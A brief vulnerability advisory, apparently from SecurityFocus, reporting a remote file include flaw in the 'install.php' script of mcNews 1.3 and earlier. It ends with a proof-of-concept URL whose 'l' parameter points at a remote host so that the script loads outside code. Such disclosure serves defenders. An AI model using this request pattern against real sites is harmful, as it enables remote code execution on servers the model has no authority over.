source: http://www.securityfocus.com/bid/12835/info

mcNews is reportedly affected by a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'install.php' script.

This issue is reported to affect mcNews versions 1.3 and prior. 

http://www.example.com/path/to/mcnews/admin/install.php?l=http://www.example.com